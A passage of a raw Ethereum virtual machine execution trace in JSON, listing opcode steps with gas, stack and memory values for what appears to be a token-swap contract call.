fa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5316,"op":"PUSH1","gas":102213,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1e0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5318,"op":"NOT","gas":102210,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1e0","0x20","0x1f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5319,"op":"PUSH1","gas":102207,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1e0","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5321,"op":"DUP3","gas":102204,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1e0","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x1f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5322,"op":"ADD","gas":102201,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1e0","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x1f","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5323,"op":"AND","gas":102198,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1e0","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x3f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5324,"op":"DUP3","gas":102195,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1e0","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5325,"op":"ADD","gas":102192,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1e0","0x20","0x20","0x1e0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5326,"op":"DUP1","gas":102189,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1e0","0x20","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5327,"op":"PUSH1","gas":102186,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1e0","0x20","0x200","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5329,"op":"MSTORE","gas":102183,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1e0","0x20","0x200","0x200","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5330,"op":"POP","gas":102180,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1e0","0x20","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5331,"op":"DUP2","gas":102178,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1e0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5332,"op":"ADD","gas":102175,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1e0","0x20","0x1e0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5333,"op":"SWAP1","gas":102172,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1e0","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5334,"op":"PUSH2","gas":102169,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x200","0x1e0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5337,"op":"SWAP2","gas":102166,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x200","0x1e0","0x14df"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5338,"op":"SWAP1","gas":102163,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x14df","0x1e0","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5339,"op":"PUSH2","gas":102160,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x14df","0x200","0x1e0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0